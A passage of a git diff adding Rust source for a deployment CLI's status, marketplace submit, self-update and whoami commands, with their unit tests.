compose_path.to_string(), + "ps".to_string(), + ]; + + if json { + args.push("--format".to_string()); + args.push("json".to_string()); + } + + args +} + +/// Core status logic for **local** deployments, extracted for testability. +pub fn run_status( + project_dir: &Path, + json: bool, + executor: &dyn CommandExecutor, +) -> Result { + let compose_path = resolve_local_compose_path(project_dir)?; + + let compose_str = compose_path.to_string_lossy().to_string(); + let args = build_status_args(&compose_str, json); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + Ok(output) +} + +// ── Cloud deployment status ───────────────────────── + +/// Terminal statuses — once reached, `--watch` stops polling. +const TERMINAL_STATUSES: &[&str] = &["completed", "failed", "cancelled", "error", "paused"]; + +/// Check if a status is terminal (deployment finished or failed). +fn is_terminal(status: &str) -> bool { + TERMINAL_STATUSES.iter().any(|s| *s == status) +} + +/// Context for rendering a rich deployment report. +struct StatusContext<'a> { + server: Option<&'a ServerInfo>, + config: Option<&'a StackerConfig>, + live_containers: Option<&'a [serde_json::Value]>, +} + +/// Pretty-print a deployment status with optional server/config context. +fn print_deployment_status_rich(info: &DeploymentStatusInfo, json: bool, ctx: &StatusContext<'_>) { + if json { + if let Ok(j) = serde_json::to_string_pretty(info) { + println!("{}", j); + } + return; + } + + let status_icon = match info.status.as_str() { + "completed" => "✓", + "failed" | "error" | "cancelled" => "✗", + "in_progress" => "⟳", + "pending" | "wait_start" => "◷", + "paused" | "wait_resume" => "⏸", + "confirmed" => "✓", + _ => "?", + }; + + // ── Header ────────────────────────────────── + println!( + "\n{} Deployment #{} — status: {}", + status_icon, info.id, info.status + ); + if let Some(ref msg) = info.status_message { + println!(" Message: {}", msg); + } + println!(" Project ID: {}", info.project_id); + println!(" Deployment hash: {}", info.deployment_hash); + println!(" Created: {}", info.created_at); + println!(" Updated: {}", info.updated_at); + + // Only show the rich details for terminal (completed/failed) statuses + if !is_terminal(&info.status) { + return; + } + + // ── Server info ───────────────────────────── + if let Some(srv) = ctx.server { + println!("\n── Server ─────────────────────────────────"); + if let Some(ref name) = srv.name { + println!(" Name: {}", name); + } + if let Some(ref ip) = srv.srv_ip { + println!(" IP: {}", ip); + let ssh_user = srv.ssh_user.as_deref().unwrap_or("root"); + let ssh_port = srv.ssh_port.unwrap_or(22); + if ssh_port == 22 { + println!(" SSH: ssh {}@{}", ssh_user, ip); + } else { + println!(" SSH: ssh -p {} {}@{}", ssh_port, ssh_user, ip); + } + } + if let Some(ref cloud) = srv.cloud { + println!(" Cloud: {}", cloud); + } + if let Some(ref region) = srv.region { + println!(" Region: {}", region); + } + } + + if let Some(containers) = ctx.live_containers { + if !containers.is_empty() { + println!("\n── Live Containers ────────────────────────"); + println!(" {:<24} {:<12} {:<30}", "CONTAINER", "STATE", "IMAGE"); + for c in containers { + let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-"); + let state = c + .get("state") + .or_else(|| c.get("status")) + .and_then(|v| v.as_str()) + .unwrap_or("-"); + let image = c.get("image").and_then(|v| v.as_str()).unwrap_or("-"); + println!(" {:<24} {:<12} {:<30}", name, state, image); + } + } + } + + // ── Deployed apps / domains ───────────────── + if let Some(config) = ctx.config { + let srv_ip = ctx.server.and_then(|s| s.srv_ip.as_deref()); + + // Services + if !config.services.is_empty() { + println!("\n── Services ───────────────────────────────"); + for svc in &config.services { + let ports_str = if svc.ports.is_empty() { + String::new() + } else { + format!(" (ports: {})", svc.ports.join(", ")) + }; + println!(" • {}{}", svc.name, ports_str); + } + } + + // Proxy / domains + if config.proxy.proxy_type != ProxyType::None { + println!("\n── Proxy ──────────────────────────────────"); + println!(" Type: {}", config.proxy.proxy_type); + + if !config.proxy.domains.is_empty() { + println!("\n── App URLs ───────────────────────────────"); + for d in &config.proxy.domains { + let scheme = match d.ssl { + crate::cli::config_parser::SslMode::Off => "http", + _ => "https", + }; + println!(" • {}://{} → {}", scheme, d.domain, d.upstream); + } + } + + // Nginx Proxy Manager admin panel + if matches!( + config.proxy.proxy_type, + ProxyType::Nginx | ProxyType::NginxProxyManager + ) { + if let Some(ip) = srv_ip { + println!("\n── Nginx Proxy Manager ────────────────────"); + println!(" Admin panel: http://{}:81", ip); + println!(" Default login: admin@example.com / changeme"); + } + } + } + + // ── Next steps ────────────────────────────── + if info.status == "completed" { + println!("\n── Next Steps ─────────────────────────────"); + println!(" • Check service health: stacker status --watch"); + println!(" • View logs: stacker logs"); + if config.proxy.proxy_type != ProxyType::None && !config.proxy.domains.is_empty() { + println!(" • Manage proxy: stacker proxy"); + } + println!( + " • Redeploy: stacker deploy --target {}", + config.deploy.target + ); + println!("\n── Documentation ──────────────────────────"); + println!(" https://try.direct/docs"); + } + } + + println!(); +} + +/// Resolve the project name from stacker.yml (same logic as deploy). +pub(crate) fn resolve_project_name(config: &StackerConfig) -> String { + config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()) +} + +pub(crate) fn resolve_stacker_base_url(creds: &StoredCredentials) -> String { + creds + .server_url + .as_deref() + .map(crate::cli::install_runner::normalize_stacker_server_url) + .unwrap_or_else(|| stacker_client::DEFAULT_STACKER_URL.to_string()) +} + +pub(crate) fn missing_remote_project_reason( + project_name: &str, + base_url: &str, + deploy_target: DeployTarget, +) -> String { + format!( + "Project '{}' was not found on Stacker API {}. If this stack exists in another \ +environment, run `stacker whoami` to verify the active Stacker API or re-login with \ +`stacker login --auth-url --api-url `. If it has \ +not been deployed there yet, run `stacker deploy --target {}`.", + project_name, base_url, deploy_target + ) +} + +fn snapshot_containers(snapshot: &serde_json::Value) -> Vec { + snapshot + .get("containers") + .and_then(|v| v.as_array()) + .cloned() + .unwrap_or_default() +} + +fn containers_signature(containers: &[serde_json::Value]) -> String { + serde_json::to_string(containers).unwrap_or_default() +} + +/// Query remote deployment status from the Stacker server, optionally watching. +fn run_remote_status(json: bool, watch: bool) -> Result<(), Box> { + // Load stacker.yml to find project name + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + + let project_name = resolve_project_name(&config); + let deploy_target = config.deploy.target; + + // Load credentials + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("deployment status")?; + + let base_url = resolve_stacker_base_url(&creds); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: deploy_target, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + + if let Some(deployment_hash) = config.deploy.deployment_hash.as_ref() { + if !deployment_hash.trim().is_empty() { + let ctx = StatusContext { + server: None, + config: Some(&config), + live_containers: None, + }; + if !watch { + let status = client.get_deployment_by_hash(deployment_hash).await?; + match status { + Some(info) => { + print_deployment_status_rich(&info, json, &ctx); + return Ok(()); + } + None => { + eprintln!("No deployment found for hash '{}'", deployment_hash); + return Ok(()); + } + } + } + + eprintln!( + "Watching deployment status for hash '{}'...\n", + deployment_hash + ); + let poll_interval = std::time::Duration::from_secs(5); + let mut last_status = String::new(); + let mut last_message: Option = None; + let mut last_containers = String::new(); + + loop { + let status = client.get_deployment_by_hash(deployment_hash).await?; + + match status { + Some(info) => { + let live_containers = if info.status == "completed" { + client + .agent_snapshot_by_project(info.project_id) + .await + .ok() + .map(|(snapshot, _)| snapshot_containers(&snapshot)) + .unwrap_or_default() + } else { + Vec::new() + }; + let container_sig = containers_signature(&live_containers); + let status_changed = info.status != last_status; + let message_changed = info.status_message != last_message; + let containers_changed = container_sig != last_containers; + if status_changed || message_changed || containers_changed { + let ctx = StatusContext { + server: None, + config: Some(&config), + live_containers: (!live_containers.is_empty()) + .then_some(live_containers.as_slice()), + }; + print_deployment_status_rich(&info, json, &ctx); + last_status = info.status.clone(); + last_message = info.status_message.clone(); + last_containers = container_sig; + } + + if is_terminal(&info.status) { + if !json { + eprintln!( + "\nDeployment reached terminal status: {}", + info.status + ); + } + return Ok(()); + } + } + None => { + if last_status.is_empty() { + eprintln!("No deployment found yet. Waiting..."); + last_status = "".to_string(); + } + } + } + + tokio::time::sleep(poll_interval).await; + } + } + } + + // Resolve project ID by name + let project = client.find_project_by_name(&project_name).await?; + let project = project.ok_or_else(|| CliError::DeployFailed { + target: deploy_target, + reason: missing_remote_project_reason(&project_name, &base_url, deploy_target), + })?; + + // Fetch server info for this project (best-effort) + let server: Option = client + .list_servers() + .await + .ok() + .and_then(|servers| servers.into_iter().find(|s| s.project_id == project.id)); + + if !watch { + // Single query + let status = client.get_deployment_status_by_project(project.id).await?; + match status { + Some(info) => { + let live_containers = client + .agent_snapshot_by_project(project.id) + .await + .ok() + .map(|(snapshot, _)| snapshot_containers(&snapshot)) + .unwrap_or_default(); + let ctx = StatusContext { + server: server.as_ref(), + config: Some(&config), + live_containers: (!live_containers.is_empty()) + .then_some(live_containers.as_slice()), + }; + print_deployment_status_rich(&info, json, &ctx); + Ok(()) + } + None => { + eprintln!( + "No deployments found for project '{}' (id={})", + project_name, project.id + ); + Ok(()) + } + } + } else { + // Watch mode — poll every 5 seconds + eprintln!( + "Watching deployment status for project '{}' (id={})...\n", + project_name, project.id + ); + + let poll_interval = std::time::Duration::from_secs(5); + let mut last_status = String::new(); + let mut last_message: Option = None; + let mut last_containers = String::new(); + + loop { + let status = client.get_deployment_status_by_project(project.id).await?; + + match status { + Some(info) => { + let live_containers = client + .agent_snapshot_by_project(project.id) + .await + .ok() + .map(|(snapshot, _)| snapshot_containers(&snapshot)) + .unwrap_or_default(); + let container_sig = containers_signature(&live_containers); + let status_changed = info.status != last_status; + let message_changed = info.status_message != last_message; + let containers_changed = container_sig != last_containers; + if status_changed || message_changed || containers_changed { + let ctx = StatusContext { + server: server.as_ref(), + config: Some(&config), + live_containers: (!live_containers.is_empty()) + .then_some(live_containers.as_slice()), + }; + print_deployment_status_rich(&info, json, &ctx); + last_status = info.status.clone(); + last_message = info.status_message.clone(); + last_containers = container_sig; + } + + if is_terminal(&info.status) { + if !json { + eprintln!("\nDeployment reached terminal status: {}", info.status); + } + return Ok(()); + } + } + None => { + if last_status.is_empty() { + eprintln!("No deployments found yet. Waiting..."); + last_status = "".to_string(); + } + } + } + + tokio::time::sleep(poll_interval).await; + } + } + }) +} + +/// Detect whether the project is configured for a remote (cloud/server) deployment. +pub(crate) fn is_remote_deployment(project_dir: &Path) -> bool { + if let Ok(Some(lock)) = crate::cli::deployment_lock::DeploymentLock::load(project_dir) { + if lock.deployment_id.is_some() || lock.target != "local" { + return true; + } + } + + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + if !config_path.exists() { + return false; + } + + let config = match StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + Ok(config) => config, + Err(_) => return false, + }; + + // Remote if target is Cloud/Server, or if remote orchestrator is configured + if matches!( + config.deploy.target, + DeployTarget::Cloud | DeployTarget::Server + ) { + return true; + } + + if let Some(cloud_cfg) = &config.deploy.cloud { + if cloud_cfg.orchestrator == CloudOrchestrator::Remote { + return true; + } + } + + false +} + +impl CallableTrait for StatusCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + + if is_remote_deployment(&project_dir) { + // Remote deployment — query Stacker server + run_remote_status(self.json, self.watch)?; + } else { + // Local deployment — docker compose ps + let executor = ShellExecutor; + let output = run_status(&project_dir, self.json, &executor)?; + print!("{}", output.stdout); + + if self.watch { + eprintln!("Note: --watch is only supported for cloud deployments."); + } + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::deployment_lock::DeploymentLock; + use chrono::{Duration, Utc}; + + #[test] + fn test_status_local_constructs_query() { + let args = build_status_args("/path/compose.yml", false); + assert_eq!(args, vec!["compose", "-f", "/path/compose.yml", "ps"]); + } + + #[test] + fn test_status_json_flag() { + let args = build_status_args("/path/compose.yml", true); + assert!(args.contains(&"--format".to_string())); + assert!(args.contains(&"json".to_string())); + } + + #[test] + fn test_status_no_deployment_returns_error() { + struct MockExec; + impl CommandExecutor for MockExec { + fn execute(&self, _p: &str, _a: &[&str]) -> Result { + Ok(CommandOutput { + exit_code: 0, + stdout: String::new(), + stderr: String::new(), + }) + } + } + + let dir = tempfile::TempDir::new().unwrap(); + let result = run_status(dir.path(), false, &MockExec); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("No deployment found")); + } + + #[test] + fn test_status_uses_configured_compose_file_for_local_target() { + struct MockExec { + calls: std::sync::Mutex>>, + } + + impl CommandExecutor for MockExec { + fn execute(&self, _p: &str, args: &[&str]) -> Result { + self.calls + .lock() + .unwrap() + .push(args.iter().map(|arg| arg.to_string()).collect()); + Ok(CommandOutput { + exit_code: 0, + stdout: String::new(), + stderr: String::new(), + }) + } + } + + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join("docker/local")).unwrap(); + std::fs::write( + dir.path().join("docker/local/compose.yml"), + "services: {}\n", + ) + .unwrap(); + std::fs::write( + dir.path().join(DEFAULT_CONFIG_FILE), + "name: demo\ndeploy:\n target: local\n compose_file: docker/local/compose.yml\n", + ) + .unwrap(); + + let executor = MockExec { + calls: std::sync::Mutex::new(Vec::new()), + }; + + run_status(dir.path(), false, &executor).unwrap(); + + let calls = executor.calls.lock().unwrap(); + assert_eq!(calls.len(), 1); + assert_eq!( + calls[0][2], + dir.path() + .join("docker/local/compose.yml") + .to_string_lossy() + ); + } + + #[test] + fn test_is_terminal_status() { + assert!(is_terminal("completed")); + assert!(is_terminal("failed")); + assert!(is_terminal("cancelled")); + assert!(is_terminal("error")); + assert!(is_terminal("paused")); + assert!(!is_terminal("pending")); + assert!(!is_terminal("in_progress")); + assert!(!is_terminal("wait_start")); + } + + #[test] + fn test_is_remote_deployment_no_config() { + let dir = tempfile::TempDir::new().unwrap(); + assert!(!is_remote_deployment(dir.path())); + } + + #[test] + fn test_is_remote_deployment_for_server_target_config() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::write( + dir.path().join(DEFAULT_CONFIG_FILE), + "name: demo\ndeploy:\n target: server\n server:\n host: 203.0.113.10\n user: root\n port: 22\n", + ) + .unwrap(); + + assert!(is_remote_deployment(dir.path())); + } + + #[test] + fn test_is_remote_deployment_for_named_server_target_config() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::write( + dir.path().join(DEFAULT_CONFIG_FILE), + r#"name: demo +app: + type: static +deploy: + default_target: prod + targets: + local: + compose_file: docker/local/compose.yml + prod: + server: + host: 10.0.0.8 + user: deploy + ssh_key: ~/.ssh/id_ed25519 +"#, + ) + .unwrap(); + + assert!(is_remote_deployment(dir.path())); + } + + #[test] + fn test_is_remote_deployment_for_hydrated_lock() { + let dir = tempfile::TempDir::new().unwrap(); + DeploymentLock { + target: "cloud".to_string(), + server_ip: Some("203.0.113.10".to_string()), + ssh_user: Some("root".to_string()), + ssh_port: Some(22), + server_name: Some("demo".to_string()), + deployment_id: Some(42), + project_id: Some(7), + cloud_id: Some(9), + project_name: Some("demo".to_string()), + stacker_email: Some("owner@example.com".to_string()), + deployed_at: Utc::now().to_rfc3339(), + } + .save(dir.path()) + .unwrap(); + + assert!(is_remote_deployment(dir.path())); + } + + #[test] + fn test_resolve_stacker_base_url_prefers_hydrated_server_url() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::minutes(10), + email: None, + server_url: Some("https://custom.stacker.example".to_string()), + org: None, + domain: None, + }; + + assert_eq!( + resolve_stacker_base_url(&creds), + "https://custom.stacker.example" + ); + } + + #[test] + fn test_resolve_stacker_base_url_normalizes_api_v1_suffix() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::minutes(10), + email: None, + server_url: Some("https://custom.stacker.example/api/v1".to_string()), + org: None, + domain: None, + }; + + assert_eq!( + resolve_stacker_base_url(&creds), + "https://custom.stacker.example" + ); + } + + #[test] + fn test_resolve_stacker_base_url_preserves_legacy_stacker_route() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::minutes(10), + email: None, + server_url: Some("https://dev.try.direct/stacker".to_string()), + org: None, + domain: None, + }; + + assert_eq!( + resolve_stacker_base_url(&creds), + "https://dev.try.direct/stacker" + ); + } + + #[test] + fn test_resolve_stacker_base_url_preserves_api_gateway_host() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::minutes(10), + email: None, + server_url: Some("https://api.try.direct".to_string()), + org: None, + domain: None, + }; + + assert_eq!(resolve_stacker_base_url(&creds), "https://api.try.direct"); + } + + #[test] + fn test_missing_remote_project_reason_mentions_active_stacker_api() { + let reason = missing_remote_project_reason( + "coolify", + "https://stacker.try.direct", + DeployTarget::Cloud, + ); + + assert!(reason.contains("Project 'coolify' was not found")); + assert!(reason.contains("https://stacker.try.direct")); + assert!(reason.contains("stacker whoami")); + assert!(reason.contains("stacker login")); + assert!(reason.contains("stacker deploy --target cloud")); + } + + #[test] + fn test_missing_remote_project_reason_uses_server_target_when_requested() { + let reason = missing_remote_project_reason( + "coolify", + "https://dev.try.direct/stacker", + DeployTarget::Server, + ); + + assert!(reason.contains("https://dev.try.direct/stacker")); + assert!(reason.contains("stacker deploy --target server")); + } +} diff --git a/stacker/stacker/src/console/commands/cli/submit.rs b/stacker/stacker/src/console/commands/cli/submit.rs new file mode 100644 index 0000000..e9f78a0 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/submit.rs @@ -0,0 +1,144 @@ +use std::path::Path; + +use crate::cli::config_parser::StackerConfig; +use crate::cli::credentials::CredentialsManager; +use crate::cli::error::CliError; +use crate::cli::stacker_client::StackerClient; +use crate::console::commands::CallableTrait; + +/// Default config filename. +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker submit` +/// +/// Packages the current stack project and submits it to the marketplace for +/// review. Reads stacker.yml for project metadata, creates or updates the +/// template on the server, then submits it for review. +pub struct SubmitCommand { + file: Option, + version: Option, + description: Option, + category: Option, + plan_type: Option, + price: Option, +} + +impl SubmitCommand { + pub fn new( + file: Option, + version: Option, + description: Option, + category: Option, + plan_type: Option, + price: Option, + ) -> Self { + Self { + file, + version, + description, + category, + plan_type, + price, + } + } +} + +impl CallableTrait for SubmitCommand { + fn call(&self) -> Result<(), Box> { + // 1. Load credentials + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("submit")?; + let base_url = crate::cli::install_runner::normalize_stacker_server_url( + crate::cli::stacker_client::DEFAULT_STACKER_URL, + ); + + // 2. Read and parse stacker.yml + let project_dir = std::env::current_dir()?; + let config_path = match &self.file { + Some(f) => Path::new(f).to_path_buf(), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + + let config = StackerConfig::from_file(&config_path)?; + let name = config.name.clone(); + let version = self + .version + .clone() + .or_else(|| config.version.clone()) + .unwrap_or_else(|| "1.0.0".to_string()); + + // Read the raw YAML content to send as the stack definition + let raw_yaml = std::fs::read_to_string(&config_path)?; + let stack_definition: serde_json::Value = + serde_json::to_value(&serde_yaml::from_str::(&raw_yaml)?)?; + + // Derive slug from project name (lowercase, hyphens) + let slug = name + .to_lowercase() + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '-' { + c + } else { + '-' + } + }) + .collect::() + .split('-') + .filter(|s| !s.is_empty()) + .collect::>() + .join("-"); + + // Build the template body + let mut body = serde_json::json!({ + "name": name, + "slug": slug, + "version": version, + "stack_definition": stack_definition, + }); + + if let Some(ref desc) = self.description { + body["short_description"] = serde_json::json!(desc); + } + if let Some(ref cat) = self.category { + body["category_code"] = serde_json::json!(cat); + } + + let plan_type = self.plan_type.as_deref().unwrap_or("free"); + body["plan_type"] = serde_json::json!(plan_type); + + if let Some(price) = self.price { + body["price"] = serde_json::json!(price); + } + + // 3. Create async runtime and execute + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + + // Create or update the template on the server + eprintln!("Creating/updating template '{}'...", name); + let template = client.marketplace_create_or_update(body).await?; + + // Submit for review + eprintln!("Submitting for marketplace review..."); + client.marketplace_submit(&template.id).await?; + + // Success message + println!(); + println!("Submitted '{}' v{} for marketplace review.", name, version); + println!( + "Your stack will be published automatically once accepted by the review team." + ); + println!("Check status with: stacker marketplace status {}", name); + + Ok(()) + }) + } +} diff --git a/stacker/stacker/src/console/commands/cli/update.rs b/stacker/stacker/src/console/commands/cli/update.rs new file mode 100644 index 0000000..f5b9feb --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/update.rs @@ -0,0 +1,268 @@ +use crate::cli::error::CliError; +use crate::console::commands::CallableTrait; +use crate::helpers::fs::write_atomic; +use flate2::read::GzDecoder; +use std::env; +use std::fs; +use std::io; +use std::path::PathBuf; + +const DEFAULT_CHANNEL: &str = "stable"; +const VALID_CHANNELS: &[&str] = &["stable", "beta"]; +const GITHUB_API_RELEASES: &str = "https://api.github.com/repos/trydirect/stacker/releases"; +const RELEASES_URL_ENV: &str = "STACKER_UPDATE_RELEASES_URL"; +const CURRENT_VERSION: &str = env!("CARGO_PKG_VERSION"); + +/// Parse and validate a release channel string. +pub fn parse_channel(channel: Option<&str>) -> Result { + let ch = channel.unwrap_or(DEFAULT_CHANNEL).to_lowercase(); + if VALID_CHANNELS.contains(&ch.as_str()) { + Ok(ch) + } else { + Err(CliError::ConfigValidation(format!( + "Unknown channel '{}'. Valid channels: {}", + ch, + VALID_CHANNELS.join(", ") + ))) + } +} + +/// Detect the current platform's asset suffix used in GitHub release filenames. +/// Format: `stacker-v{VERSION}-{arch}-{os}.tar.gz` +fn detect_asset_suffix() -> String { + let os = if cfg!(target_os = "macos") { + "darwin" + } else { + "linux" + }; + let arch = if cfg!(target_arch = "aarch64") { + "aarch64" + } else { + "x86_64" + }; + format!("{}-{}", arch, os) +} + +#[derive(Debug, serde::Deserialize)] +struct GithubRelease { + tag_name: String, + prerelease: bool, + assets: Vec, +} + +#[derive(Debug, serde::Deserialize)] +struct GithubAsset { + name: String, + browser_download_url: String, +} + +/// Fetch the latest release from GitHub that matches the channel. +/// - "stable" → non-prerelease releases +/// - "beta" → prerelease releases +/// +/// Returns `Ok(None)` when the GitHub API is unreachable or rate-limited so +/// that the update command exits 0 instead of failing the CLI. +fn releases_api_url() -> String { + env::var(RELEASES_URL_ENV).unwrap_or_else(|_| GITHUB_API_RELEASES.to_string()) +} +fn fetch_latest_release( + channel: &str, +) -> Result, Box> { + let client = reqwest::blocking::Client::builder() + .user_agent(format!("stacker-cli/{}", CURRENT_VERSION)) + .build()?; + + let response = client.get(releases_api_url()).send()?; + + if !response.status().is_success() { + eprintln!( + "Warning: could not check for updates (GitHub API returned {}). \ + Try again later or set a GITHUB_TOKEN environment variable.", + response.status() + ); + return Ok(None); + } + + let releases: Vec = response.json()?; + + let want_prerelease = channel == "beta"; + let release = releases + .into_iter() + .find(|r| r.prerelease == want_prerelease || (!want_prerelease && !r.prerelease)); + + Ok(release) +} + +/// Compare two semver strings (major.minor.patch) — returns true if `latest` > `current`. +fn is_newer(current: &str, latest: &str) -> bool { + let parse = |v: &str| -> Option<(u64, u64, u64)> { + let v = v.trim_start_matches('v'); + let parts: Vec<&str> = v.splitn(3, '.').collect(); + if parts.len() < 3 { + return None; + } + Some(( + parts[0].parse().ok()?, + parts[1].parse().ok()?, + parts[2].split('-').next()?.parse().ok()?, + )) + }; + match (parse(current), parse(latest)) { + (Some(c), Some(l)) => l > c, + _ => false, + } +} + +/// Download `url` into a temporary file and return its path. +fn download_to_tempfile(url: &str) -> Result> { + let client = reqwest::blocking::Client::builder() + .user_agent(format!("stacker-cli/{}", CURRENT_VERSION)) + .build()?; + let mut resp = client.get(url).send()?.error_for_status()?; + let mut tmp = tempfile::NamedTempFile::new()?; + io::copy(&mut resp, &mut tmp)?; + Ok(tmp) +} + +/// Extract the `stacker` binary from a `.tar.gz` archive and return its bytes. +fn extract_binary_from_targz( + tmp: &tempfile::NamedTempFile, +) -> Result, Box> { + let file = fs::File::open(tmp.path())?; + let gz = GzDecoder::new(file); + let mut archive = tar::Archive::new(gz); + for entry in archive.entries()? { + let mut entry: tar::Entry> = entry?; + let path = entry.path()?.to_path_buf(); + let name = path.file_name().unwrap_or_default().to_string_lossy(); + if name == "stacker" { + let mut buf = Vec::new(); + io::copy(&mut entry, &mut buf)?; + return Ok(buf); + } + } + Err("stacker binary not found in archive".into()) +} + +/// Replace the running executable with `new_bytes`. +fn replace_current_exe(new_bytes: Vec) -> Result<(), Box> { + let current_exe: PathBuf = env::current_exe()?; + write_atomic(¤t_exe, &new_bytes, 0o755)?; + Ok(()) +} + +/// `stacker update [--channel stable|beta]` +/// +/// Checks for updates and self-updates the stacker binary. +pub struct UpdateCommand { + pub channel: Option, +} + +impl UpdateCommand { + pub fn new(channel: Option) -> Self { + Self { channel } + } +} + +impl CallableTrait for UpdateCommand { + fn call(&self) -> Result<(), Box> { + let channel = parse_channel(self.channel.as_deref())?; + eprintln!("Checking for updates on '{}' channel...", channel); + + let release = match fetch_latest_release(&channel)? { + Some(r) => r, + None => { + eprintln!("No releases found on '{}' channel.", channel); + return Ok(()); + } + }; + + let latest_version = release.tag_name.trim_start_matches('v'); + + if !is_newer(CURRENT_VERSION, latest_version) { + eprintln!("You are running the latest version (v{}).", CURRENT_VERSION); + return Ok(()); + } + + eprintln!( + "New version available: v{} (you have v{}). Updating...", + latest_version, CURRENT_VERSION + ); + + let suffix = detect_asset_suffix(); + let asset_name = format!("stacker-v{}-{}.tar.gz", latest_version, suffix); + let asset = release + .assets + .iter() + .find(|a| a.name == asset_name) + .ok_or_else(|| format!("No release asset found for your platform: {}", asset_name))?; + + eprintln!("Downloading {}...", asset.name); + let tmp = download_to_tempfile(&asset.browser_download_url)?; + + eprintln!("Extracting..."); + let new_bytes = extract_binary_from_targz(&tmp)?; + + eprintln!("Installing..."); + replace_current_exe(new_bytes)?; + + eprintln!( + "✅ Updated to v{}. Run 'stacker --version' to confirm.", + latest_version + ); + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_parse_channel_defaults_to_stable() { + assert_eq!(parse_channel(None).unwrap(), "stable"); + } + + #[test] + fn test_parse_channel_accepts_beta() { + assert_eq!(parse_channel(Some("beta")).unwrap(), "beta"); + } + + #[test] + fn test_parse_channel_case_insensitive() { + assert_eq!(parse_channel(Some("STABLE")).unwrap(), "stable"); + } + + #[test] + fn test_parse_channel_rejects_unknown() { + assert!(parse_channel(Some("nightly")).is_err()); + } + + #[test] + fn test_is_newer_detects_update() { + assert!(is_newer("0.2.4", "0.2.5")); + assert!(is_newer("0.2.4", "0.3.0")); + assert!(is_newer("0.2.4", "1.0.0")); + } + + #[test] + fn test_is_newer_no_update_needed() { + assert!(!is_newer("0.2.5", "0.2.5")); + assert!(!is_newer("0.2.5", "0.2.4")); + } + + #[test] + fn test_is_newer_handles_v_prefix() { + assert!(is_newer("0.2.4", "v0.2.5")); + assert!(!is_newer("v0.2.5", "v0.2.5")); + } + + #[test] + fn test_releases_api_url_uses_env_override() { + std::env::set_var(RELEASES_URL_ENV, "http://localhost/releases"); + assert_eq!(releases_api_url(), "http://localhost/releases"); + std::env::remove_var(RELEASES_URL_ENV); + } +} diff --git a/stacker/stacker/src/console/commands/cli/whoami.rs b/stacker/stacker/src/console/commands/cli/whoami.rs new file mode 100644 index 0000000..fe59b9e --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/whoami.rs @@ -0,0 +1,127 @@ +use std::path::Path; + +use crate::cli::credentials::{CredentialsManager, StoredCredentials}; +use crate::cli::deployment_lock::DeploymentLock; +use crate::console::commands::CallableTrait; + +pub struct WhoamiCommand; + +impl WhoamiCommand { + pub fn new() -> Self { + Self + } +} + +fn describe_saved_login(creds: Option<&StoredCredentials>) -> Vec { + match creds { + Some(creds) => { + let mut lines = vec![format!("{}", creds)]; + if let Some(server_url) = &creds.server_url { + lines.push(format!(" Stacker API: {}", server_url)); + } + if let Some(org) = &creds.org { + lines.push(format!(" Organization: {}", org)); + } + if let Some(domain) = &creds.domain { + lines.push(format!(" Domain: {}", domain)); + } + lines.push(format!( + " Expires at: {}", + creds.expires_at.to_rfc3339() + )); + lines + } + None => vec![ + "Not logged in".to_string(), + " Run: stacker login".to_string(), + ], + } +} + +fn load_project_lock( + project_dir: &Path, +) -> Result, crate::cli::error::CliError> { + DeploymentLock::load_active(project_dir) +} + +fn describe_project_lock(lock: Option<&DeploymentLock>) -> Vec { + match lock { + Some(lock) => { + let mut lines = vec!["Current project:".to_string()]; + lines.push(format!(" Target: {}", lock.target)); + if let Some(project_name) = &lock.project_name { + lines.push(format!(" Project name: {}", project_name)); + } + match &lock.stacker_email { + Some(email) => lines.push(format!(" Deployed by: {}", email)), + None => lines + .push(" Deployed by: unknown (lock predates account tracking)".to_string()), + } + if let Some(server_name) = &lock.server_name { + lines.push(format!(" Server 